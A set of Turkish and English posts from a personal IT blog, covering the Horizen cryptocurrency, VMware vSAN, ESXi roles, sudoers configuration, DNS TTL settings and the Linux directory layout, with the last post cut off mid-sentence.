Horizen (ZEN) Nedir? Gizlilik ve Ölçeklenebilirliğin Kesişimi Link: https://farukguler.com/posts/horizen-zen-nedir/ Horizen (ZEN), kripto dünyasındaki en eski ve en teknik projelerden biridir, ancak misyonu zamanla evrim geçirmiştir. Başlangıçta bir “gizlilik coini” (privacy coin) olarak (ZenCash adıyla) yola çıksa da, bugün kendini “merkeziyetsiz uygulamalar (dApps) için ölçeklenebilir bir ekosistem ve gizlilik platformu” olarak tanımlamaktadır. Horizen’in mimarisi iki temel direk üzerine kuruludur: Opsiyonel Gizlilik: ZK-SNARKs teknolojisini kullanan, Bitcoin benzeri güvenli bir ana (main) blockchain. Sınırsız Ölçeklenebilirlik: Zendoo adını verdiği, herkesin kendi özel (veya halka açık) blockchain’ini (sidechain) oluşturmasına izin veren devrim niteliğinde bir protokol. ZEN, bu ekosistemin yerel (native) varlığıdır. Proof-of-Work madencileri, ağı güvence altına alan binlerce “Node” (düğüm) ve Zendoo platformu için “yakıt” olarak kullanılır. Horizen’in Çözmeye Çalıştığı İkili Problem Horizen, blockchain dünyasının iki temel problemini aynı anda çözmeyi hedefler: Gizlilik Problemi: Bitcoin ve Ethereum gibi halka açık defterlerde tüm işlemler (gönderen, alıcı, miktar) herkes tarafından görülebilir. Bu, kurumsal veya kişisel finansal gizlilik için felakettir. Ölçeklenebilirlik ve Esneklik Problemi: Ethereum gibi “tek boyutlu” (monolithic) L1’lerde, tüm uygulamalar aynı kaynaklar (gas ücretleri, işlem hızı) için rekabet eder. Bu, ağı tıkar ve geliştiricileri kısıtlar. Horizen’in Çift Yönlü Çözümü: Gizlilik ve Zendoo Horizen bu iki sorunu ana ağ ve yan zincirler olarak ayırır: 1. Ana Zincir (Mainchain): Opsiyonel Gizlilik Horizen’in ana ağı, Bitcoin gibi Proof-of-Work (PoW) ile güvence altına alınır ancak ZCash’ten miras aldığı ZK-SNARKs teknolojisi sayesinde gelişmiş gizlilik sunar. Kullanıcıların iki seçeneği vardır: t-Adresleri (Transparent): Bitcoin gibi şeffaf adresler. İşlemler herkes tarafından görülebilir. z-Adresleri (Shielded): ZK-SNARKs kullanan gizli adresler. Gönderen, alıcı ve miktar tamamen gizlenir. Bu “opsiyonel gizlilik”, projenin hem şeffaflık hem de gizlilik ihtiyacına cevap vermesini sağlar (ancak bu durum, onu regülasyonların hedefi olmaktan kurtaramamıştır). 2. Zendoo: Gerçek Ölçeklenebilirlik Çözümü Horizen’in “gelecek beklentisi” ve asıl inovasyonu burasıdır. Zendoo, herkesin Horizen ana ağına bağlı kendi yan zincirini (sidechain) oluşturmasına izin veren bir protokoldür. Zendoo Nasıl Çalışır? Tıpkı Polkadot (Parachain) veya Cosmos (Zones) gibi, ancak Bitcoin benzeri bir PoW ana zincirinin güvenliğiyle. Özelleştirme: Geliştiriciler bu yan zincirleri istedikleri gibi tasarlayabilirler: Farklı bir konsensüs (örn. Proof-of-Stake), farklı token’lar, yüksek hız veya tam gizlilik (veya tam şeffaflık) seçebilirler. Güvenlik: Bu yan zincirler, yaptıkları işlemlerin “doğruluğunu kanıtlayan” özetleri Horizen ana zincirine gönderir. Böylece, bir PoW ağının tam güvenliğinden faydalanırlar. Bu mimari, Horizen’in ana zincirini (L1) yavaşlatmadan sınırsız sayıda uygulamanın (dApp) paralel olarak çalışmasına olanak tanır. Ağın Omurgası: Secure Nodes ve Super Nodes Horizen’in merkeziyetsizliği, dünyadaki en geniş düğüm (node) ağlarından biri tarafından sağlanır. Bu ağ iki katmanlıdır ve ZEN tokenomiğinin temelini oluşturur: Secure Nodes (Güvenli Düğümler): Ağın temel katmanıdır (şu anda ~30.000+ adet). Ağı dinler, tam bir kopyasını tutar ve şifreli iletişimi sağlarlar. Çalıştırmak için 42 ZEN kilitlenmesi gerekir. Super Nodes (Süper Düğümler): Daha güçlü makinelerdir (şu anda ~3.000+ adet). Asıl görevleri Zendoo yan zincirlerini (sidechains) barındırmak ve doğrulamaktır. Çalıştırmak için 500 ZEN kilitlenmesi gerekir. Bu düğümler, ağı güvence altına aldıkları için blok ödüllerinden pay alırlar. ZEN Token’ı: Token Arzı, Ekonomi ve Gelecek Beklentisi ZEN’in tokenomisi, Bitcoin’in kıt arz felsefesini, node operatörlerini ve geliştirici hazinesini içeren benzersiz bir modelle birleştirir. Token Arzı ve Dağılımı (Tüm Gerçeklik) Maksimum Arz: 21.000.000 ZEN (Tıpkı Bitcoin gibi, sert bir şekilde sınırlandırılmıştır). Konsensüs: Proof-of-Work (PoW). Kritik Gerçek: Blok Ödülü Dağılımı ZEN’in token ekonomisi, her yeni blokta çıkarılan ödülün nasıl paylaşıldığına dayanır. Bu, projenin hem en güçlü hem de en çok eleştirilen yönüdür: %60 Madenciler (Miners): Ağı güvence altına alan PoW madencilerine gider. %10 Secure Nodes: Ağı destekleyen güvenli düğüm operatörlerine dağıtılır. %10 Super Nodes: Zendoo yan zincirlerini çalıştıran süper düğüm operatörlerine dağıtılır. %20 Horizen Hazinesi (Treasury): Doğrudan projenin geliştirilmesi, pazarlaması ve ekosistem yatırımları için Horizen Vakfı’na (ve ilişkili kuruluşlara) gider. Ekonomik Etki: Bu model, arzın %20’sinin sürekli olarak node operatörlerine (Secure + Super) dağıtılmasını sağlar. Bu durum, insanları ZEN satın alıp düğüm çalıştırmak (ve böylece ZEN’i kilitlemek) için teşvik eder. Ancak %20’lik Hazine payı, bir PoW projesi için “kurucu vergisi” olarak görüldüğünden toplulukta sıkça eleştirilen yüksek bir orandır. ZEN’in Kullanım Alanları: Değer Saklama ve Transfer: Bitcoin gibi (t-adres) veya Monero gibi (z-adres) kullanılabilir. Düğüm Kilitleme (Staking): Secure (42 ZEN) veya Super (500 ZEN) node çalıştırmak için kilitlenir. Bu, dolaşımdaki arz üzerinde sürekli bir talep/baskı yaratır. Zendoo Platformu Yakıtı: Geliştiricilerin Zendoo üzerinde kendi yan zincirlerini oluşturmaları ve ana ağ ile iletişim kurmaları (doğrulama işlemleri) için ZEN cinsinden ücret ödemeleri gerekir. Gelecek Beklentisi ve “Acı Gerçekler” Horizen’in gelecekteki başarısı, iki büyük ve çelişkili faktöre bağlıdır: 1. Negatif Beklenti (En Büyük Risk: Regülasyon): Gerçeklik: Horizen, “opsiyonel” olmasına rağmen regülatörler tarafından “Gizlilik Coini” (Privacy Coin) olarak damgalanmıştır. Acı Gerçek: Bu damga nedeniyle Horizen (ZEN), Monero (XMR) ve ZCash (ZEC) ile birlikte Binance (Avrupa), OKX, Bittrex gibi dünyanın en büyük borsalarının çoğundan kaldırılmıştır (delist edilmiştir). Etkisi: Bu “delist” kararları, projenin likiditesini, erişilebilirliğini ve benimsenmesini felce uğratan en büyük engeldir. Bir projenin teknolojisi ne kadar iyi olursa olsun, insanlar ona kolayca erişemezse, değer kazanması çok zordur. 2. Pozitif Beklenti (Teknolojik Kurtuluş: Zendoo): Gerçeklik: Horizen’in 10 yıllık geleceği, “ZEN bir gizlilik coinidir” algısını kırıp “Horizen, ZK-SNARKs teknolojisiyle güçlendirilmiş bir yan zincir (sidechain) platformudur” algısını oturtmasına bağlıdır. Potansiyel: Zendoo, teknik olarak Polkadot veya Cosmos’a güçlü bir rakiptir. Özellikle gizliliğe ihtiyaç duyan kurumsal (B2B) veya merkeziyetsiz uygulamalar için (örneğin özel oylama sistemleri, gizli DeFi) mükemmel bir altyapı sunabilir. Gelecek: Eğer Horizen ekibi, Zendoo’nun bu teknolojik üstünlüğünü kullanarak borsa listelemelerinden bağımsız bir geliştirici ve dApp ekosistemi yaratmayı başarırsa, proje hayatta kalabilir ve büyüyebilir. Sonuç Horizen (ZEN), teknik olarak piyasadaki en sofistike projelerden biridir. 21 milyonluk sert arz sınırı ve binlerce node tarafından desteklenen ağı güçlüdür. Ancak proje, teknolojik potansiyeli ile regülasyon gerçekliği arasında sıkışmış durumdadır. Horizen’in “gerçekliği” şudur: Artık basit bir gizlilik coini değildir; gizliliği bir özellik olarak kullanan karmaşık bir L1 yan zincir platformudur. Ancak hayatta kalması ve yatırımcısını kazandırması, “gizlilik coini” lanetinden kurtulup Zendoo platformunun somut bir benimsenme (adoption) görmesine bağlıdır. --- ## (vSAN) VMware Virtual SAN Nedir? Link: https://farukguler.com/posts/vsan-vmware-virtual-san-nedir/ VMware Virtual SAN (vSAN), VMware tarafından sunulan bir yazılım tanımlı depolama çözümüdür. vSAN, fiziksel depolama kaynaklarını sanal bir depolama altyapısı olarak birleştirerek esneklik, performans ve yüksek kullanılabilirlik sağlar. vSAN, bir hipervizör tabanlı bir depolama çözümüdür ve VMware vSphere platformu üzerinde çalışır. vSAN, fiziksel sunucuların içindeki depolama kaynaklarını kullanarak, sanal makinelerin depolama ihtiyaçlarını karşılamak için bir depolama kümesi oluşturur. Bu depolama kaynakları, sunucuların yerel diskleri, SSD'ler ve SAS/SATA diskleri gibi kaynaklar olabilir. vSAN, depolama kaynaklarını kullanarak sanal makinelerin verilerini dağıtır ve replike eder. Bu, veri yüksek kullanılabilirlik sağlar ve tek bir nokta arızası olmadan veri korumasını artırır. vSAN, depolama havuzunu otomatik olarak yönetir ve verileri dinamik olarak hareket ettirerek performansı artırır. vSAN, ölçeklenebilir bir yapıya sahiptir ve yeni sunucular eklenerek depolama kapasitesi ve performansı kolayca genişletilebilir. Bu özelliği, özellikle sanallaştırma ortamlarında büyüme ve değişikliklere hızlı bir şekilde yanıt vermek için önemlidir. vSAN, VMware vSphere Enterprise Plus lisansı altında kullanılabilir ve VMware'nin diğer ürünleriyle entegre çalışır. Bu sayede, sanallaştırma altyapısının tam bir bileşeni olarak vSAN, sanallaştırma, yedekleme, yüksek kullanılabilirlik ve felaket kurtarma çözümlerine destek sağlar. VSAN'ın diğer depolama çözümlerinden öne çıkan bazı özellikleri vardır. Sanallaştırma Entegrasyonu: VSAN, VMware'nin sanallaştırma platformu vSphere ile tam entegrasyon sağlar. Bu entegrasyon, depolama ve sanallaştırma kaynaklarının tek bir yönetim noktasından kontrol edilmesini sağlar. Sanal makineleri depolama altyapısıyla doğrudan ilişkilendirebilir ve depolama politikalarını sanal makine düzeyinde yönetebilirsiniz. Yüksek Performans: VSAN, gelişmiş performans sunmak için dağıtılmış bir depolama mimarisine sahiptir. Depolama hizmetleri, sanal makinelerin konumuna yakınlaştırılarak gecikme süresi azaltılır ve yüksek IOPS (Input/Output Operations Per Second) sağlanır. VSAN ayrıca akıllı önbellek yönetimi ve otomatik veri yerleştirme gibi özelliklerle performansı optimize eder. Ölçeklenebilirlik: VSAN, hem kapasite hem de performans açısından ölçeklenebilir bir depolama platformudur. Küçük bir küme ile başlayabilir ve ihtiyaçlarınıza göre sistem kaynaklarını kolayca genişletebilirsiniz. VSAN, gelişmiş veri yönetimi ve dinamik veri yerleştirme özellikleri sayesinde depolama kaynaklarını etkin bir şekilde kullanır. Yüksek Kullanılabilirlik: VSAN, verileri küme düğümleri arasında dağıtarak yüksek kullanılabilirlik sağlar. Veriler, depolama düğümleri arasında replike edilir ve otomatik olarak iyileştirilir. Bir düğüm arızalandığında, veriler otomatik olarak diğer düğümlere geçer ve hizmet kesintisi yaşanmaz. Veri Koruma ve Kurtarma: VSAN, verilerin korunması ve kurtarılması için çeşitli özellikler sunar. Verilerin sürekli olarak replike edilmesi, veri bütünlüğünün korunmasını sağlar. Ayrıca anlık görüntüler (snapshots) alarak, verilerin geri alınabilir bir şekilde korunmasını sağlar. Donanım Bağımsızlık: VSAN, donanım bağımsız bir depolama çözümüdür. Özel bir donanım gerektirmez ve mevcut sunucu altyapısını kullanabilirsiniz. Bu, maliyeti düşürür ve donanım seçeneklerinizde esneklik sağlar. Veri Hareketliliği: VSAN, verilerin esnek bir şekilde hareket ettirilmesini sağlar. Verileri bir sunucu düğümünden diğerine taşıyabilir, depolama kaynaklarını yeniden dağıtabilir veya veri merkezi içindeki farklı konumlara taşıyabilirsiniz. Otomatik Değişen Veri Yerleştirme: VSAN, aktif verilerin sık kullanılan kaynaklara daha yakın tutulmasını sağlayarak veri yerleştirme sürecini otomatik olarak yönetir. Bu, performansı artırır ve veri erişim sürelerini azaltır. Veri Sıkıştırma ve Tümleşik Deduplikasyon: VSAN, veri depolama kapasitesini optimize etmek için veri sıkıştırma ve deduplikasyon özelliklerini sunar. Bu sayede daha az depolama alanı kullanarak daha fazla veri saklayabilirsiniz. VMware Ekosistemiyle Entegrasyon: VSAN, VMware ekosistemiyle tam entegrasyon sağlar. vSphere Web Client arayüzü üzerinden kolayca yönetilebilir ve diğer VMware ürünleriyle sorunsuz bir şekilde çalışabilir. Kullanıcı Tanımlı Depolama Politikaları: VSAN, kullanıcıların depolama politikalarını tanımlamasına olanak tanır. Verilere uygulanacak replikasyon düzeyini, veri yerleştirme ve yedekleme politikalarını kullanıcılar belirleyebilir. Geniş Ekosistem Desteği: VSAN, birçok donanım sağlayıcısıyla uyumlu çalışabilir ve geniş bir donanım ekosistemini destekler. Bu, kullanıcıların mevcut altyapılarını kullanmaya devam edebilmelerini sağlar. VSAN, sanallaştırma ortamlarında depolama performansı, esneklik, ölçeklenebilirlik ve veri koruması sağlamak için bir dizi özellik sunar. Bu özellikler, VSAN'ı diğer depolama çözümlerinden farklı kılan ve tercih edilmesini sağlayan faktörlerdir. --- ## Permission to perform this operation was denied. Hatası Link: https://farukguler.com/posts/permission-to-perform-this-operation-was-denied/ ESXi, kullanıcıların yönetici işlevlerini gerçekleştirmek için varsayılan rollerle birlikte gelir. Bu roller, ESXi sunucusunda belirli ayrıcalıklara sahip kullanıcıları tanımlar. Etki alanı kullanıcıları bu rolleri alabilir veya kendi özel rollerini oluşturabilir. Varsayılan ESXi rolleri aşağıdaki gibi hiyerarşik bir yapıda bulunur: Administrator: Tam erişim yetkilerine sahip olan rol. ESXi sunucusunda tüm yönetim görevlerini gerçekleştirebilir. No Access: Verilen erişimi kısıtlayan bir rol. Bu rol, kullanıcıya hiçbir erişim hakkı tanımaz. Read-only: Nesnelerin detaylarını görüntüleyebilir ancak değişiklik yapamaz. Sadece okuma erişimine sahiptir. No Cryptography Administrator: Kriptografik işlemler ve Güvenilir Altyapı ayrıcalıklarına sahip olmadan tam erişim sağlar. No Trusted Infrastructure Administrator: Güvenilir Altyapı ayrıcalıklarına sahip olmadan tam erişim sağlar. View: Sadece görünürlük erişimine sahip bir rol. Bu rol, kullanıcıya erişim vermez, yalnızca görüntüleme yapabilir. Yukarıdaki roller, ESXi sunucusunda kullanılabilen varsayılan rollerdir. Bunların dışında, özel roller de oluşturabilir ve kullanıcılara özelleştirilmiş ayrıcalıklar ve yetkiler atayabilirsiniz. ESXi web arayüzünde, kullanıcılar ve rollerle ilgili yapılandırmaları gerçekleştirebilirsiniz. Simdi ESXI ana bilgisayarı "admin" kullanıcısına tam ayrıcalıklara sahip alan yöneticisi olarak eklemeniz gerekir. root kullanıcısı ile oturum açın. Host > Permissions > Manage Permissions yoluna gidin. gerekli yetkilendirmelerden sonra "admin" ismiyle oluşturduğumuz kullanıcıya gerekli yetkileri vererek ESXI arayüzüne giriş yapabilirsiniz. Best Regards. – Saygılarımla. --- ## Linux "Sudo" Yetkilendirmesi ve Sudoers Hakkında Link: https://farukguler.com/posts/linux-sudo-sudoers-yetkilendirmesi-hakkinda/ "su" ve "sudo" komutları, kullanıcı kimliklerini geçici olarak değiştirerek süper kullanıcı yetkilerini kullanmayı sağlar. "su" komutu doğrudan başka bir kullanıcının kimliğine geçişi sağlarken, "sudo" komutu kullanıcıya yetkilendirilmiş komutları süper kullanıcı yetkileriyle çalıştırma yetkisi verir. Bu şekilde, kullanıcılar güvenli ve kontrollü bir şekilde süper kullanıcı ayrıcalıklarını kullanabilir. "su" (switch user) komutu: Bu komut "su" ifadesi, "su faruk" komutu ile "faruk" kullanıcısının oturumunu açmayı ifade eder. "su" komutu, "switch user"ın kısaltmasıdır ve bir kullanıcının mevcut oturumunu başka bir kullanıcıya değiştirmek için kullanılır. Eğer "su faruk" komutunu çalıştırırsanız, sistem sizden "faruk" kullanıcısının parolasını girmenizi isteyecektir. Eğer girdiğiniz parola doğruysa, mevcut oturumunuz "faruk" kullanıcısı olarak değişir ve "faruk" kullanıcısının hesabına erişim sağlarsınız. Bu şekilde, "faruk" kullanıcısının sahip olduğu dosyalara ve kaynaklara erişebilir ve onun yetkilendirilmiş işlemlerini gerçekleştirebilirsiniz. "sudo" (superuser do) komutu: Bu komut, belirli bir kullanıcının belirli bir süre komutları süper kullanıcı yetkileriyle çalıştırmasına izin verir. Bir kullanıcı "sudo" komutunu kullanarak belirli bir komutu süper kullanıcı yetkileriyle çalıştırabilir, ancak bu komutu çalıştırmak için kullanıcının kendi parolasını girmesi gereklidir (süper kullanıcı parolasını değil). Sudo, genellikle sistem yöneticilerine, belirli komutları süper kullanıcı yetkileriyle güvenli bir şekilde çalıştırma esnekliği sağlar. sudo komutunun varsayılan yapılandırmasında, genellikle "timestamp_timeout" parametresi 5 - 15 dakika olarak ayarlanmıştır. Bu, kullanıcının sudo komutunu çalıştırdıktan itibaren 15 dakika boyunca tekrar şifre girmesi gerekmeyeceği anlamına gelir. Eğer sistemde root kullanıcısına erişiminiz varsa, genellikle "su" komutunu kullanarak doğrudan root kullanıcısının oturumunu açabilirsiniz. Örneğin, "su" komutunu kullanarak "su root" veya "su -" komutunu çalıştırabilir ve root kullanıcısının parolasını girebilirsiniz. Bu şekilde, root kullanıcısı olarak doğrudan oturum açabilir ve root yetkileriyle çalışabilirsiniz. Özetle, "su" komutu bir kullanıcının oturumunu başka bir kullanıcıya değiştirirken, "sudo" komutu belirli bir komutu süper kullanıcı yetkileriyle çalıştırmak için kullanılır. "su" komutu kullanıcı oturumunu tamamen değiştirirken, "sudo" komutu sadece belirli bir komutu süper kullanıcı yetkileriyle çalıştırırken geçici olarak yetki verir. ***Eğer zaten root kullanıcısıysanız, "sudo root" komutunu kullanmanıza gerek yoktur. Root kullanıcısı olarak oturum açtığınızda, root yetkileriyle komutları doğrudan çalıştırabilirsiniz. "visudo" komutu ve Sudoers dosyası: "visudo" sudo yetkilendirmesi için kullanılan sudoers dosyasını düzenlemek için kullanılan bir komuttur. "sudoers" dosyası ise sudo programının davranışını ve kullanıcılara verilen yetkileri kontrol etmek için kullanılır. sudoers dosyası, sistem yöneticileri tarafından düzenlenen bir metin dosyasıdır. Bu dosyada, belirli kullanıcılar veya kullanıcı grupları için sudo ile çalıştırılabilecek komutlar ve işlemler belirtilir. Ayrıca, hangi kullanıcıların belirli komutları veya komut gruplarını süper kullanıcı yetkileriyle çalıştırabileceği, şifre gerekliliği gibi özel yetkilendirme kuralları da belirtilebilir. "visudo komutu, sudoers dosyasını düzenlerken hataları önlemek ve dosyanın tutarlı bir şekilde işlenmesini sağlamak için kullanılır" visudo, sudoers dosyasını düzenlemek için özel bir düzenleyici kullanır. Bu, hatalı bir düzenleme yapmanın veya dosyayı bozma riskini en aza indirir. sudoers dosyası ve visudo komutu, güvenlik politikalarını uygulamak, ayrıcalıklı işlemleri yönetmek ve kullanıcıların süper kullanıcı yetkilerine erişimini kontrol etmek için önemli araçlardır. Sudoers dosyasının düzenlenmesi dikkatle yapılmalı ve gereksiz veya yanlış yetkilendirmelerden kaçınılmalıdır, çünkü yanlış yapılandırılmış bir sudoers dosyası, sistem güvenliğini tehlikeye atabilir. Sudoers dosyasının "visudo" komutuyla düzenlenmesi *****Not: Sudoers dosyasını düzenlerken dikkatli olun. Hatalı bir yapılandırma, sisteminizin düzgün çalışmasını engelleyebilir. *****Visudo, sudoers dosyasında yapılan değişiklikleri doğrulamak için bir kontrol yapar. Eğer yapılandırmada hatalı bir satır varsa, kullanıcıya bir uyarı mesajı gösterir ve düzeltmeler yapmadan dosyayı kaydetmesine izin vermez. Bu, hatalı yapılandırmaların sistemdeki sudo erişimini engellemesini veya bozmasını önler. #Sudoers dosyasını "visudo" komutuyla açmak için. sudo visudo #Sudoers dosyasının doğruluğunu hata veya tutarsızlıkları kontrol etmek için: sudo visudo -c Sudoers dosyası, özel bir düzenleyici (genellikle vi veya nano) ile açılacaktır. Sudoers dosyasını düzenlemek için aşağıdaki örnek satırları ekleyin. bu satırlar dosyanın yapısı, kullanıcı tanımlamaları ve yetkilendirmeleri içerir. #sudoers dosyası icerigi#-----------------------#Her zaman süper kullanıcı yetkilerine sahip olmak için:root ALL=(ALL:ALL) ALLfaruk ALL=(ALL:ALL) ALL#Kullanıcının parola sorulmadan süper user komutlarını yürütmesine izin ver: touch /etc/sudoers.d/sudoer_farukfaruk ALL=(ALL) NOPASSWD: ALL#faruk, belirli bir komutu süper kullanıcı yetkileriyle çalıştırabilir.faruk ALL=(ALL) /usr/bin/ifconfig#faruk, kullanıcısına "/bin/ls" komutunu süper kullanıcı yetkileriyle çalıştırma izni vermek.faruk ALL=(ALL) /bin/ls#burak, belirli bir komutu ve parametreleriyle şifre istemeden süper kullanıcı yetkileriyle çalıştırabilir.burak ALL=(ALL) NOPASSWD: /usr/bin/komut2 parametre1, /usr/bin/komut2 parametre2#Burada "burak" kullanıcısına "/usr/sbin/service apache2 restart" komutunu süper kullanıcı yetkileriyle yalnızca "root" kullanıcı kimliğiyle çalıştırma izni veriliyor.burak ALL=(root) /usr/sbin/service apache2 restart#murat, belirli bir komutu belirli bir kullanıcı kimliğiyle süper kullanıcı yetkileriyle çalıştırabilir.murat ALL=(user1) /usr/bin/whoami#Bu örnekte, "murat" kullanıcısına "/usr/bin/apt-get update" komutunu süper kullanıcı yetkileriyle şifre gerektirmeden çalıştırma izni veriliyor.murat ALL=(ALL) NOPASSWD: /usr/bin/apt-get update Ayrıca birden fazla kullanıcıya aynı yetkileri vermeniz gerekirse; grup bazında yetkilendirme yapmanız daha kolay olacaktır. Sudoers dosyasında grup bazlı yetkilendirme yapmak için aşağıdaki adımları izleyebilirsiniz: #Öncelikle, grupları ve kullanıcıları oluşturun veya varolanları gruplara ekleyin. Örneğin, "adminler" adında bir grup oluşturalım ve Faruk, Burak ve Murat kullanıcılarını bu gruba ekleyelim: sudo groupadd adminler sudo usermod -aG adminler faruk sudo usermod -aG adminler burak sudo usermod -aG adminler murat ***Bu adımlarla "adminler" adında bir grup oluşturulacak ve Faruk, Burak ve Murat kullanıcıları bu gruba eklenecektir. #Sudoers dosyasını "visudo" komutuyla düzenleyin: sudo visudo #Sudoers dosyasında grup bazlı yetkilendirme ekleyin. Örneğin, "adminler" grubundaki tüm kullanıcılara aynı yetkileri tanımlamak için aşağıdaki satırı ekleyin: %adminler ALL=(ALL) /usr/bin/reboot ***Bu örnekte, "%adminler" ifadesi adminler grubunu temsil eder ve tüm grubun "/usr/bin/reboot" komutunu süper kullanıcı yetkileriyle çalıştırma izni verilir. Düzenlemeleri tamamladıktan sonra, dosyayı kaydedin ve düzenleyiciyi kapatın. ***sudoers dosyasında "%" karakteri, bir grubu temsil etmek için kullanılan bir özel karakterdir. Artık "adminler" grubuna üye olan Faruk, Burak ve Murat kullanıcıları, "/usr/bin/reboot" komutunu süper kullanıcı yetkileriyle çalıştırabilecek ve sunucuyu reboot etme hakkı kazanacaklardır. Peki "sudoers" dosyasında grup bazlı yetkilendirme kullanarak bazı komutları engellemeniz gerekirse; #Bu örnekte, "/usr/sbin/userdel" ve "/bin/rm" komutları engellenmektedir. Yani, "silmeyi_engelle" grubuna üye olan kullanıcılar bu komutları "sudo" yetkileriyle çalıştıramazlar ve silme işlemi yapamazlar. %silmeyi_engelle ALL=(ALL) !/usr/sbin/userdel %silmeyi_engelle ALL=(ALL) !/bin/rm #Bu örnek, ""blokla" grubunun ağ hizmetlerini durdurma veya başlatma komutlarını engellemektedir. "/etc/init.d/networking start & stop" önünde "!" sembolünü kullanarak, bu komutun açıkça yürütülmesinin reddedildiğini belirtiyorsunuz. %blokla ALL=(ALL) !/etc/init.d/networking stop %blokla ALL=(ALL) !/etc/init.d/networking start #sudoers dosyasını düzenlerken aşağıdaki kurallara dikkat etmelisiniz: Her satır, bir kullanıcı veya kullanıcı grubunun yetkilendirmesini belirtir. Kullanıcı adı veya grup adı, yetkilendirmenin başında belirtilir. Yetkilendirmenin ardından, hangi komutları veya komut parametrelerini çalıştırabileceği belirtilir. Yetkilendirme için çeşitli seçenekler kullanılabilir, örneğin NOPASSWD seçeneği parola gerektirmeden yetkilendirme yapılmasını sağlar. PASSWD seçeneği ise tam tersi olarak parola istenmesini sağlar. Düzenlemeleri tamamladıktan sonra, dosyayı kaydedin ve düzenleyiciyi kapatın. "visudo" komutu, dosyanın geçerliliğini kontrol edecek ve hataları tespit edecektir. Hata olması durumunda, düzeltilmesi gereken satırları gösterecektir. "visudo" komutunun tamamlanmasının ardından, sudoers dosyası güncellenmiş olacaktır. Artık düzenlediğiniz yetkilendirmeleri kullanabilirsiniz. Yukarıdaki adımları izleyerek sudoers dosyası sayesinde yetkileri düzenleyebilirsiniz. Sudoers dosyasının yapısı ve sözdizimi oldukça hassas olduğundan, dosyayı dikkatli bir şekilde düzenlemek ve hatalardan kaçınmak önemlidir. Saygılarımla. --- ## Docker Terimleri - Docker Terms Link: https://farukguler.com/posts/docker-terimleri-docker-terms/ --- ## Configuration of DNS TTL (Time-To-Live) Link: https://farukguler.com/posts/configuration-of-dns-ttl-time-to-live/ TTL (Time-To-Live) on DNS (Domain Name System) is a value that indicates how long a DNS record will be stored in the cache. During this time, when a DNS query is made, DNS resolvers cache the response they receive and retain this response for the specified TTL period. For example, when you make a DNS query for www.farukguler.com, the resolver learns the IP address of that domain and caches that information. If the TTL time is set to 3600 seconds (1 hour), the parser will use the same response without querying the same record again for one hour. To view the TTL assigned to the record on the DNS server, you need to find and use the authoritative DNS server for the record you are examining.Found in this Statement of Authority (SOA) record:Keep your DNS TTL minimum greater than 0, as setting it to 0 may cause your DNS information to be ignored or rejected. What is the TTL time in Best practices?1 hour (3600 seconds) for static recordings20 minutes (1200 seconds) for dynamic recordings The TTL setting for a DNS can be changed via the dns record. The default TTL setting for a zone is changed via SOA. ***For these operations, you need to activate the View > Advanced setting. > PS:Get:Get-DnsServerResourceRecord -ZoneName "guler.com"Get-DnsServerResourceRecord -ZoneName "guler.com" -RRType "A"Get-DnsServerResourceRecord -ZoneName "guler.com" -Name "mail"Set:Add-DnsServerResourceRecordA -Name "posta" -ZoneName "guler.com" -AllowUpdateAny -IPv4Address "10.5.11.24" -TimeToLive 05:00:00Add-DnsServerResourceRecord -CName -Name "host14" -HostNameAlias "Host34.lab.contoso.com" -ZoneName "guler.com" -AllowUpdateAny -TimeToLive 01:00:00Add-DnsServerResourceRecord -Name "." -MX -ZoneName "guler.com" -MailExchange "mail.guler.com" -Preference 10 SET Windows DNS Server:-Explained aboveSET Linux DNS Server:RedHat / CentOS:sudo nano /var/named/guler.com.db$TTL 86400 #in secondssudo named-checkconfsudo systemctl restart namedDebian:sudo nano /etc/bind/guler.com.db$TTL 86400 #in secondssudo named-checkconfsudo systemctl restart namedWindows TTL Check: (spesific: MX, CNAME, TXT, A, NS)nslookup -type=A -debug farukguler.comnslookup -type=cname -debug farukguler.comResolve-DnsName -Name farukguler.comLinux TTL Check:dig www.farukguler.comdig A www.farukguler.comdig +nocmd +noall +answer +ttlunits A www.farukguler.comCheck the Google Web Toool:https://toolbox.googleapps.com/apps/dig/ How to change Lifetime in cPanel. Stay hungry to learn. --- ## Linux Dizin/Dosya Sistemi Şeması Link: https://farukguler.com/posts/linux-file-directory-system-schema/ Linux dosya sistemi yapısı dağıtıma ve sistem yapılandırmasına bağlı olarak farklılıklar gösterebilir. Ancak, aşağıda belirtilen hiyerarşi genel olarak Linux dosya sisteminin standart yapısını yansıtmaktadır. /: Kök dizin olarak bilinir. Tüm dosya sistemi bu noktada başlar. /bin: Bu dizin, kullanıcıların sistemi yönetmek için temel sistem programlarını içerir. Örneğin, ls, cp, rm gibi komutlar bu dizinde bulunur. /boot: Bu dizin, sistem başlatma işlemi için gereken dosyaları içerir. Önyükleme yükleyicisi, çekirdek ve başlatma konfigürasyon dosyaları gibi öğeler bu dizinde yer alır. /dev: Bu dizin, aygıt dosyalarını içerir. Her bir donanım cihazı veya sanal aygıt, bu dizinde bir dosya olarak temsil edilir. Örneğin, sabit diskler /dev/sda, /dev/sdb şeklinde temsil edilebilir. /etc: Bu dizin, sistem yapılandırma dosyalarını içerir. Örneğin, ağ ayarları, kullanıcı hesapları, servis yapılandırmaları gibi dosyalar bu dizinde bulunur. /home: Bu dizin, kullanıcıların kişisel dosyalarını ve dizinlerini içerir. Her kullanıcının genellikle adıyla aynı olan bir alt dizini bulunur. /lib: Bu dizin, temel sistem kütüphanelerini içerir. Programlar tarafından kullanılan ortak kütüphaneler bu dizinde bulunur. /media: Bu dizin, taşınabilir medya cihazları için bir noktadır. Örneğin, CD veya USB sürücüleri bu dizinde otomatik olarak bağlanabilir. /mnt: Bu dizin, geçici olarak bağlanmış dosya sistemlerini içerir. Başka bir dosya sistemi geçici olarak bu dizine bağlandığında, içeriği bu dizinde görüntülenebilir. /opt: Bu dizin, isteğe bağlı yazılım paketlerini içerir. Sistemle entegre olmayan veya ayrı olarak yüklenen yazılımlar bu dizinde bulunabilir. /proc: Bu dizin, çalışan süreçler ve sistem bilgileri gibi kernel ve süreç bilgilerini içerir. Özel bir dosya sistemini temsil eder ve gerçek dosyalar yerine sanal dosyalar içerir. /root: Bu dizin, sistem yöneticisi (root) için kişisel dizindir. Diğer kullanıcıların kişisel dizinlerinden farklı olarak, root kullanıcısı için ayrı bir dizin oluşturulur. "Dosya sisteminin en üstündeki kök “/” dizini ile karıştırılmaması gerekir." /run: Bu dizin, çalışma zamanı verilerini içerir. Örneğin, çalışan süreçlerin PID dosyaları bu dizinde bulunabilir. /sbin: Bu dizin, sistem yönetimi için temel programları içerir. /bin dizinindeki programlara benzer şekilde, ancak genellikle sadece root kullanıcısı 